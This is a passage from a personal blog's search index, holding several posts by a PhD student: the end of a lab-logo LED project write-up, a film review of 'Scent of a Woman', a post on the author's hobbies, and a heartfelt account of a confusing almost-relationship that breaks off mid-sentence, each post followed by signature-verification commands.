but it works. Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable\u0026hellip; So\u0026hellip; yea.\n10) Why these design choices? Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction. Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers. White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout. Safe Mode default. People first. Demos are opt‑in. PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing. 11) What I learned A logo is a better messenger than a dashboard. Everyone knows what orange means without a legend. If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering! Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^ 12) Final notes I did this project as a fun distraction and \u0026ldquo;not work\u0026rdquo; as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I\u0026rsquo;m so so thankful of my advisor for this cool idea, and all the support. It\u0026rsquo;s not the first time I\u0026rsquo;ve been gifted such toys, and as I have recieved other things after that, I know it\u0026rsquo;s not the last.\nThere is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let\u0026rsquo;s hope that doesn\u0026rsquo;t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*\nThe whole project took around 8 days, 4 of which were part of a long weekend. I did do some \u0026ldquo;not work\u0026rdquo; as Tobias always tells me to do, and honestly it was fun and refreshing! I really enjoyed it. I don\u0026rsquo;t know how the group feels/thinks about the logo, but I love it! I hope it won\u0026rsquo;t die after I leave, but even if so, so be it. I had my fun with it. :)\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuIACgkQtYgoUOBM jSoc5w/\u0026#43;Ij7a9UuglnzXQSMNA8VkN84qokmVTaI9mN6BY/aJQLjWWwJFi5Ih7qKw 0oWl2ZZ6FHKdAo2\u0026#43;gAajxhg0vf0DUGZNwsD0NJsHAuei8ezvgb4TKIfAMspKC\u0026#43;9J CgcvqbZdC\u0026#43;M2c3PcPPA4UV5reYclf9PisEsmJSiR\u0026#43;cyDaCtNJkYjQ9SSZMO\u0026#43;BV93 k6I20tEILeR/l72ahSGyGCQxFTkI\u0026#43;cE5EOglG\u0026#43;AJP7HnLArcBUplixjLS7j/gq13 U/TeRhI5R6RG0sCzaTsyUMhfc/7be0PeU5EZTf8e21dv6c6RRWiYe\u0026#43;kXXv1wH1yE sfJnMxiQ2YJqxUXDjJNJt1R\u0026#43;4yWpznmqYoOcW1/T8ySuYCrzx5XBdGB9XThQAxZg sDsV6dgcPJUSvpuZqPmQicTu/\u0026#43;BL9QdmB4bASxDhRUX2KkK1RKRTBGP73l79vUmP QUuBm7o7sHpSUax7CEE\u0026#43;vbjC9FubL5D6i6nSIesTImpR2P7ycaWboFPYREC2q3ma B/WmnHiYbrhiLMNRrAHFdiCSHPd9JKiNK\u0026#43;9C8ASsDpEz8yvf2Ef9yhp0sYZ6ZBkb Bs\u0026#43;BKOoDWDsI7NkT/hFBeWMrTTWpTDoRf2UGk1HI2Iaz7Fh\u0026#43;hXljpEPyQ/Mq3s0X o9h8Z1rq9m7nIwmpLNW\u0026#43;vEiL81/SrnjJE8/\u0026#43;kA/\u0026#43;J2p9TNBYcn8= =tAeg -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/inet_logo.md.asc gpg --verify inet_logo.md.asc inet_logo.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/","summary":"\u003cblockquote\u003e\n\u003cp\u003eI didn’t add a warning sign to the room. I taught the \u003cstrong\u003elogo\u003c/strong\u003e to breathe. ;-D\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eThe Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it\u0026rsquo;s not good at is \u003cstrong\u003eventilating\u003c/strong\u003e itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!\u003c/p\u003e","title":"INET Logo That Breathes — From CAD to LEDs to a Calm Little Server"},{"content":"I\u0026rsquo;m not a big movie watcher. In fact, I don\u0026rsquo;t remember the last time I watched a whole movie in a single day. It\u0026rsquo;s not that I don\u0026rsquo;t enjoy it, it\u0026rsquo;s that I want to do this with at least another person. It feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched Scent of a Woman on Sunday, and after my therapist encouraged me to do so.\nFew points before I begin.\nThis was aside from the therapy session. My therapist does not tell me what to do, or if I\u0026rsquo;m wrong or right or anything like that. I watched this movie in about two parts in a single day! I knew Al Pacino\u0026rsquo;s face from Godfather series, but didn\u0026rsquo;t know his name. I\u0026rsquo;m not a big movie person, so whatever I say should be taken with a grain of salt. Just don\u0026rsquo;t be offended, take it face up and as is. The movie is about a good young student named Chris O\u0026rsquo;Donnell, played by Charlie Simms ,who is dependent on a scholarship to continue his studies after school, worthy of going to Harvard.\nThe second main character of the movie is a blind man called Lt. Col. Frank Slade, played by Al Pacino, who is an arrogant, rude, assertive, proud, self-centered person that gives bad vibes throughout the movie.\nChris needs to work over the thanksgiving weekend, just to be able to make it home during Christmas. He lives with his mother, and a not so nice step-father who isn\u0026rsquo;t really there for him.\nWhen taking the job to watch over Frank, he quickly realizes what a hard task this will be, but the lady who hires him (Karen Rossie) being his niece assures him that he is a pile of suger under these bad vibes, and that she needs him to do this for her for these fea days. At last Chris agrees.\nUpon Karen\u0026rsquo;s leaving, Frank gets ready for a trip to New York. To do his last vows before taking his own life without Chris knowing this.\nHe plans staying at a nice hotel, having an awesome Meal at a gorgeous restaurant, seeing a woman, his brother, and then taking his own life.\nFrank is in love with Jack Daniel\u0026rsquo;s and cannot get enough of it. Throughout the movie this drunk, addiction-like behaviour is portrayed.\nFrank also learns about a problem Chris is facing. Chris is being forced to snitch on a group of the people he knows, or he will be expelled and loses his chance to got o Harvard with another scholarship. He doesn\u0026rsquo;t want to snitch, but frank learns about this, he encourages him to take the deal.\nFrank then tries to teach Chris how to flirt, how to get woman, and how to be a gentleman. There is an amazing scene in the movie where Frank tries to setup Chris with a girl who is waiting for her boyfriend! He dances Tango with her and this scene is probably the most majestic scene in any movie I have ever seen. The feelings I got were so strong and positive that I just cannot express!\nIn the end, when Frank wants to take his own life, Chris stops him and talks him out of it. He helps him to ride a Ferrari, the second thing he liked in his life (the first thing was woman lmao!). A police officer stopped them because they were going too fast, and Frank spoke his way out of the ticket! The officer didn\u0026rsquo;t even recognize Frank was blind!!!!\nAfter these emotional roller coaster, Chris became ever-so attached to Frank, and so did Frank become attached to Chris, showing up to an open student hearing in place of Chris\u0026rsquo;s parent.\nChris ended up not snitching, and Frank spoke up for him, saying how big of a man is he! How valuable he is, and how disgusting the acts of the other kid who also could snitch but hid behind his father\u0026rsquo;s back was.\nIn essense, the movie was amazing, with great acting all over it. The characters portreayed their roles as amazingly as possible. I loved the movie and how we got to know the characters more and more as the movie went on, and how the story progressed.\nThe story was also amazing. Characters really added life to the scenes by their amazing play. Donna did the tango dance professionaly. Al Pacino played to role of a blind man very well, you would easily be fooled by his amazing acting.\nThat leaves me thinking about why did my therapist suggested me to watch this movie and asked me to tell him how I felt and how I thought about the movie?\nWas it about Frank? That I was trying to be Chris, protecting and caring for Frank, although his behaviour is horrible? But Frank gave so much back to Chris. I guess it is the same for me too, I\u0026rsquo;m also getting a lot back while making some sacrifices.\nOr maybe was it about that amazing Tango dancing scene? The sensations that Frank describes about relationships, and how he interacts with woman?\nI honestly do not know. I just know that watching the movie gave me good feelings. That I\u0026rsquo;m a happier Iman than the Iman I was before watching it. That my feelings and experiences are not abnormal, they are valid. That I\u0026rsquo;m on the right track, but still need time to figure out the way. That I shouldn\u0026rsquo;t worry too much. That I should look at everything as a way to have \u0026ldquo;fun\u0026rdquo;. That I shouldn\u0026rsquo;t overthink things. That if I mess up, oh well, I should take the responsibility and move on.\nI don\u0026rsquo;t know what the intention of my therapist was, but I\u0026rsquo;m so curious! I want to figure it out. :) Fell free to cross your fingers for me!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM jSqQCQ/9EAs8l5fvPCqCfZFBipGWtTJewjXdcCu13/WfX66vXjBdPxzL5pLkLV7Q m6IiKs5GoxJFgNEyfNSjjBNj\u0026#43;NeqxgmYqlephJtf5ubTW\u0026#43;IuSMkinSyvVwkKrxAX QA\u0026#43;1Imf7/4QTyUB6/L\u0026#43;19jk\u0026#43;1Yl2E0IVyJVWbuE0G/ZsB0TiTI/0Te3aKFdIv3lj OAProXMLAaCpasabz8\u0026#43;kQBQsul12h0cjG7A\u0026#43;TSaTgaM\u0026#43;WnE8RuC6C0KV//YeUfvN DuyXHU9DVklkbGSblZw8EKSwLqlbCoPKixeRjVT45OG41eGmGzxYOBEb57zYEfkZ Zmgo6Y8g2fYYU1wMj5bIylfFut0TqenCxSzJX4xqLnAhw0fx9kLCY1aoxR/Mfub5 wVNf/2vL14Ef4kfMWg8POj1WrgZc\u0026#43;pSqWUONnTn0yBIl9rjk1LSe9IMtjBHnrIDd GIwrhoAinO9Qyj7UOyoFFCj6JMnLcnhx5Cwn5EGRS9PSrbUbZdFDuYVQ74R/AEHf VX1qD1UK0k84FsHhLLflEPiZypxIZsrXS\u0026#43;BpKKG5wi7mFopvUFuZoPbHdmK2856P e9zZL9e7VOjODn00zR/b6iDMoLUdOxw0rey2LOoNx9Gw42zYb5vuw1djNOgE9D1R 57hf02VIRab5Q1ROOnfl05pv1bY5JMQO4Zcp5Me3OFmiQwl/KYU= =/VjG -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/scent_of_a_woman.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/scent_of_a_woman.md.asc gpg --verify scent_of_a_woman.md.asc scent_of_a_woman.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/scent_of_a_woman/","summary":"\u003cp\u003eI\u0026rsquo;m not a big movie watcher.\nIn fact, I don\u0026rsquo;t remember the last time I watched a whole movie in a single day.\nIt\u0026rsquo;s not that I don\u0026rsquo;t enjoy it, it\u0026rsquo;s that I want to do this with at least another person.\nIt feels much better to not be alone when watching a movie for me for some reason. Buuuut, I watched \u003ca href=\"https://www.imdb.com/title/tt0105323\"\u003eScent of a Woman\u003c/a\u003e on Sunday, and after my therapist encouraged me to do so.\u003c/p\u003e","title":"Movie review: Scent of a Woman"},{"content":"When I started my PhD, I was told \u0026ldquo;get yourself a hobby!\u0026rdquo; many many times by both my advisor, and the director of the group I worked in. In fact, when being interviewed for the position, I was asked about my hobbies.\nFor some reason I think I have like the weirdest hobbies of all time. Like, you know, people binge series, go to clubs, bars, hang out, and so on. But I always had interests in things that when I talk about people get weirded out, or at least some of them do so. To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.\nLet\u0026rsquo;s go back in time. What hobbies have I had over the course of my life? Actually as a kid I used to play games on Mobile for some reason. I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing. I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite. Like I liked Vain Glory, and my brother liked Fifa. We did play both in the end.\nAfter my brother went to the capital to attend univesity, we bacame more distant. I had to also focus on my own studies, and was actually struggling in junior-high. Now that is a story in itself for another time. I used to play games back then as hobby. But my real interest was chess. I was really good at calculating. I was extremely sharp for my age, but since I was obbese my parents wanted me to take \u0026ldquo;active\u0026rdquo; sport classes. So\u0026hellip; getting into a chess class was conditional.\nI have\u0026rsquo;t really done any chess studying after those early years, and I just know a few openings with little depth. I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening.\nIn high-school I didn\u0026rsquo;t really have any hobbies. I did become interested in Basketball, but nothing serious. It\u0026rsquo;s funny how I was able to become good at any sport I tried. I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton. I think swimming was, and still is my best sport. I never pursued it though, which is a shame.\nBefore starting my Bachelors, I became really interested in Cicada3301, and cryptography. Well, not the fancy state-of-the-art cryptography, the simple classic methods. The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me! That reminds me, we had these special things in junior-high called \u0026ldquo;Karsoogh\u0026rdquo; for math, physics, chemistry, and biology. I think I quilified for pretty much every one of them, and had a blast every time! In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems. But the math one was different, it happend between a few close-by NODET cities, and annualy. The idea was simple. They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite. Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers. We then competed against each other. The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it. The fastest team gets the most points. The the message is common between teams. After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points. First teams to get an algorithm gets more points. Our team won the best algorithm in the end, and my ideas were most influential in this achievement! My teammates became really good friends with me after this competition which felt really cool! I think this was the reason I became interested in cryptography. I don\u0026rsquo;t remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players. If your team solved a game, you got more points. It was really fun, and since the games happened in parallel, all teammtes had to be active.\nI said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces. I like to casually get lost in questions and think about weird equations, or natural problems. Something like Feynman\u0026rsquo;s obsession with the spaghetti problem! Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on. But I do want to get back to this fun hobby. I just need some questions, and an empty mind. Or I guess some time slots to chill and not stress about my other research.\nDuring my bachelors, I became fascinated by hardware. Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually. Later on I realized this is related to IoT and Embedded systems. I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100! Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs! Unfortunately I don\u0026rsquo;t have any images from the project, but the code can be found here.\nI bought myself a raspberrypi, many sensors and actuators, and did small fun projects! I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on. I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal. I could not figure out how to fix the state when commands don\u0026rsquo;t go through correctly though, a challenge that I never solved or came up with a solution for. I would say my love with computers, making things smart, and networking became my main hobby!\nAfter some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts. It was, and still is a rat race. Well, it\u0026rsquo;s the story of my PhD pretty much now.\nReading books became a hobby for a while, but Youtube kinda distroyed that. I really love to get back to reading more books, I have a really exciting list of books to be read in my library. Listening to Music is another amazing hobby I have, specifically when I walk around or do chores. I find doing chores so relaxing! Since we talked about music I should mention I also tried to learn Piano, but didn\u0026rsquo;t pursue it. I actaully wanted to learn Violine, but the consultant we talked to said \u0026ldquo;if you\u0026rsquo;re not a hard worker it won\u0026rsquo;t workout for you\u0026rdquo;, and since my brother was going to learn Piano, I followed suit. And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad. This is a pattern that has happened in my life a lot, something I need to stop from happening. Comparing myself with other, and competing with them. It\u0026rsquo;s just distroying me mentally. I am me, and the best me ever to exist. And that\u0026rsquo;s how it should be.\nSomewhere during my bachelors I also became fascinated by coffee! I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. Then came matcha, though with matcha things are much more limited.\nAnother thing that comes to mind is boardgames. I love boardgames that you need to think and be smart! An example is Cluedo. People usually don\u0026rsquo;t like to play it with me because I pay attention to \u0026ldquo;everything\u0026rdquo;. But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. I have a whole collection of boardgames that I don\u0026rsquo;t get to play! :-P One of my all time favorite games is \u0026ldquo;Zaar\u0026rdquo; (a persian game that was discontinued), and a game kinda similar to it called \u0026ldquo;The Night Cage\u0026rdquo;. I like them because there is a bit of strategy, luck, and a lot of co-op in them. In the later you either all win together, or get doomed. In the first one there is a comperition aspect to the game which makes it cool.\nCooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I\u0026rsquo;m a loner! (Drat. :P) I love to \u0026ldquo;not follow recipes\u0026rdquo; and try new things. Foods I make usually turn out to be quite yummy actually, though definitly not authentic. I also think I do a good job with the presentation part when I try. And I\u0026rsquo;m open to cooking anything and everything!\nI was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I\u0026rsquo;m alone, I rather do my other hobbies.\nAnd that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD\n3D printing is an interesting one. I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. When I went to 38c3 last year, I saw so many printers, and how cool they were. And somehting in my heart was touched, that I need one! The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. And oh well, 3D printing is just the hobby! I also tried to do some 3D design, but I\u0026rsquo;m quite a noob at it still. I will probably share some of the things I\u0026rsquo;ve made somewhere somehow, but not for now at least. Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). It\u0026rsquo;s so cute and fascinating, and I had an absolute blast working on it for the one week I did. So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. It\u0026rsquo;s just a fun thing to have, and to play around with. The fixing part of it, and maintaining it is not as fun, but it\u0026rsquo;s part of the journey. I will probably write about me and my 3D printer a lot more in the future. Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition!\nAnd now let\u0026rsquo;s talk about the CTF stuff. This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). I\u0026rsquo;ve been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. After starting my PhD, I was introduced to Saarsec, and now I\u0026rsquo;m a proud member, trying to contribute as much as my time allows me to. I\u0026rsquo;m not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. I love it! I want to do more of it. The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. Too shay. I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog.\nAnd last but not least, blogging. Well, I kinda started it for no reason to be honest. I just want to share my stories, and to show my vulnerable side with no guilt. It feels freeing to do this, and I hope I continue! I hope people won\u0026rsquo;t get mad if they are a part of these stories I share. I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. I really enjoy it!\nWith all this being said, I think that\u0026rsquo;s it. If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. The only thing I want to emphasize is that I\u0026rsquo;m into things that make me limited to my creativity. Oh, and also books, if only I read them instead of watching Youtube!!!!\nDownloads: Markdown · Signature (.asc) View OpenPGP signature -----BEGIN PGP SIGNATURE----- iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM jSqvHBAAugjNjRO8BAXrZy/BCeaaLq9P87bm/hqVjqKDKz3KAzZggJ6a5MZ5IGs\u0026#43; Ut2On5mWjbCYPwxS2scgLMpwNcmWht4zb4FnJIuENqXJsp95Mp0CWNAX4zEAA6bP zc2L9rGoftLkdsPrSbYyx96DP4NWhaiE79LJevWtHXbJDWFgQ/b3MtgFvIK70Cft L\u0026#43;2SUJrYHKCep1nhzWPhDcIXUwiZfGjZS8LyWJ/6eE3PxbIlAx4MyBUX3ZAcbRli bGNjMfgVEcLATrLDT9zOumzMxSjRx85PK\u0026#43;Fyc\u0026#43;BlDnAO2qnjUgCW6XGn7QSy13AE y5M3MwNhYdsdFeLDF/5YeMArV2lfSrd\u0026#43;CZXVpURputhkjJA8vjQ7CHsyKfo/ii0v ZxeW4qRbT3PurO1ny6yNXc3q5oG4GEtEd27jIQlySU9W2UVpOFxtqZx9M4eflvIm p/1yL1gDEUYNCWENcq07jbSWigXclVcC3GdDGFaHQc60gAncl82/ORKVuhgkvABE JnG0MWALJeWVdolrNQvsrM9GT8kmUwXxJabQImsoK19kQxsCW6wF1x56iqA5mCVr reupdpn62n3VFgtSEPrkcN8909Sp8kspl1zcxQ8/WC5hX/zCwAxvIu5V/cqSqysR FoLCxShqcMKsEJoP74TdJnwKRO63CxXozUdUmmk28LrlqoGxJ/0= =42yP -----END PGP SIGNATURE----- Verify locally:\ntorsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hobbies.md torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hobbies.md.asc gpg --verify hobbies.md.asc hobbies.md ","permalink":"http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hobbies/","summary":"\u003cp\u003eWhen I started my PhD, I was told \u0026ldquo;get yourself a hobby!\u0026rdquo; many many times by both my advisor, and the director of the group I worked in.\nIn fact, when being interviewed for the position, I was asked about my hobbies.\u003c/p\u003e\n\u003cp\u003eFor some reason I think I have like the weirdest hobbies of all time.\nLike, you know, people binge series, go to clubs, bars, hang out, and so on.\nBut I always had interests in things that when I talk about people get weirded out, or at least some of them do so.\nTo be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.\u003c/p\u003e","title":"Hobbies"},{"content":" Notice: You\u0026rsquo;ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.\nSo\u0026hellip; do you also think you\u0026rsquo;re a lover boy, kind, nice person? So do I! I think I\u0026rsquo;m actually really good at making friends with people. Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.\nMy problem is when things are to become more serious! Like, you know\u0026hellip; connecting at a more emotional level. A \u0026ldquo;relationship\u0026rdquo;. I\u0026rsquo;m really bad at those. In fact, I haven\u0026rsquo;t ever been in one! Now let\u0026rsquo;s be honest, I\u0026rsquo;m not your typical jacked, handsome boy, but I think I\u0026rsquo;m somewhere around the average if not higher a bit? Well, at least I hope so! :D\nI actually haven\u0026rsquo;t even dated once so far. My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like\u0026hellip; yea dude\u0026hellip; it was a date buddy. Why do I say it wasn\u0026rsquo;t a date? Well, because I was told so yesterday by her. That if it\u0026rsquo;s a date, you\u0026rsquo;re supposed to say it beforehand. I find that very fair actually. I really do. I wasn\u0026rsquo;t even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. Like we planned a future together. We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things!\nWe even found our \u0026ldquo;favorite shops\u0026rdquo; in the city together! It was weird! I\u0026rsquo;m so confused. I remember the second time we went out together, we sat next to the river and close to eachother. She leaned into me at some point. She had also touched my arm gently when making a joke earlier when we went shopping together. It felt weird. I did feel she was flirting with me, making plans with me. She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. We also had many deep conversations in this short amount of time.\nBut then it happened. Suddenly she messaged me saying how she is going to have a bf soon \u0026ldquo;hopefully\u0026rdquo;. That others know him, but not me. That where we live there are not that many people. That supply is low, and demand is high. That this person asked her fast so that \u0026ldquo;the slots won\u0026rsquo;t be filled\u0026rdquo;. It was weird, as if she was telling me I\u0026rsquo;m going to be taken if you don\u0026rsquo;t do anything\u0026hellip;? After this weird encounter I talked to two of my friends, and my married brother and his wife. When she heard about our interactions and all of the messages we passed, she did feel like I\u0026rsquo;ve been friendzoning her. That I\u0026rsquo;m not resiprocating her feelings. That she perhaps has a crush on me. Even my brother felt the same! My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. With all honestly, in her messages when she was teaching me the \u0026ldquo;ways\u0026rdquo;, she said \u0026ldquo;I don\u0026rsquo;t play games and I also advise you not to get together with people that do so\u0026rdquo;. Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I\u0026rsquo;m doing is normal and things are going well. But I guess I was wrong?\nI do want to talk about some things that we exchanged on this weird conversation that made me confused. She initially asked why I didn\u0026rsquo;t go out with them last night. I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. With all honestly I didn\u0026rsquo;t even know she was joining them or not. It\u0026rsquo;s kinda weird, but the plans were made in a group she was not inside of. Anyway.\nOctober 4th was a rainy day. She said she might be catching a cold, and that going out in this weather is maybe not a good choice. She said let\u0026rsquo;s go next weekend as the weather is better, and also that we can go out after work hours in weekdays. You see? She proposed a different time and date, she didn\u0026rsquo;t just cancel last second. And then she started talking about last night, the things that happened. A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn\u0026rsquo;t know him. Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. Then she talked about how when two people see each other, a click can happen, and that\u0026rsquo;s how you can know if you like someone or not. If it\u0026rsquo;s two way ofc. I asked her what is this \u0026ldquo;click\u0026rdquo;? She said \u0026ldquo;you know when you know, and if you think you don\u0026rsquo;t know then there isn\u0026rsquo;t one\u0026rdquo;. Interesting. My poor brain started looking back at our own interactions. I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it\u0026hellip; And again I felt she is hinting something. Poor me was stuck between a rock and a hard place. She told me that if I like someone I should ask them on a date \u0026ldquo;early\u0026rdquo;, as time is of essence. Again, I was confused. I was lost. We\u0026rsquo;ve been hanging out for two weeks, we have our favorite similar shops, hobbies. We have plans together. We understood eachother. Or maybe that\u0026rsquo;s just how I felt in my mind? Maybe things in my brain are just different? I don\u0026rsquo;t know.\nMy sister in law told me that she probably had a crush on me and that I didn\u0026rsquo;t reciprocate her feelings perhaps? That I\u0026rsquo;m friendzoning her by not touching her back or asking her out on a \u0026ldquo;date\u0026rdquo;. Her reasoning is that she initiated all of this. She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. She told me that I should invite her to a date. That I have to do something romantic now, maybe get flowers, and a gift. And I did just that. I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. And I asked her on a date.\nShe said she enjoyed the company too, and thanked me. She then said she is starting a new relationship, but even if that was not the case, \u0026ldquo;we were so different from eachother at a much deeper level\u0026rdquo;. That her \u0026ldquo;life experiecnes\u0026rdquo; are just different, \u0026ldquo;and so on\u0026rdquo;. She did actually say \u0026ldquo;and so on\u0026rdquo;.\nYou know what it reminds me of? Of when your paper gets rejected by saying \u0026ldquo;lacks novelty\u0026rdquo;. xD\nAnother extremely funny thing is that she said we\u0026rsquo;re so different at a much deeper level, but she doesn\u0026rsquo;t even know me. What was meant at a deeper level? I\u0026rsquo;m confused again. She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. She knew nothing about me. How are we different so deeply if you don\u0026rsquo;t even know me? I\u0026rsquo;m so so incredibly confused. I guess it could be the looks, and the \u0026ldquo;vibes\u0026rdquo;? But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won\u0026rsquo;t pursue her I guess? Idk.\nI want to also come back to this point she made that she is \u0026ldquo;starting a new relationship\u0026rdquo;. She told me in the same conversation that someone asked her out (which she technically didn\u0026rsquo;t even say this, but it could be induced), and that going on a date \u0026ldquo;does not mean you\u0026rsquo;re in a relationship, that you want to know eachother\u0026rdquo;. Her saying that \u0026ldquo;I said I\u0026rsquo;m starting a new relationship\u0026rdquo; hurt me, not because she is doing that, because she didn\u0026rsquo;t technically tell me that. She then said \u0026ldquo;I always tell people this to avoid confusion\u0026rdquo;. I definitly didn\u0026rsquo;t miss it if she did. She didn\u0026rsquo;t, but whatever. It\u0026rsquo;s fine. I did apologize. The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me\u0026hellip; Did I miss it? She didn\u0026rsquo;t. Just trust me on this one. ;)\nI\u0026rsquo;m just confused. The last three times I had a crush on someone I confessed too. First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). Second case ended up in a tragedy that I do not want to talk about, lol! All I can say is that she definitly panicked and I don\u0026rsquo;t blame her. I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. The third one said that she is in an \u0026ldquo;undefined state\u0026rdquo; of a relationship, and that she wants to keep it \u0026ldquo;friendly\u0026rdquo; in university, which is completely fair. But this last one. This was the weird one. The first and third one were really sweet to me when I confessed/asked them out. The last one 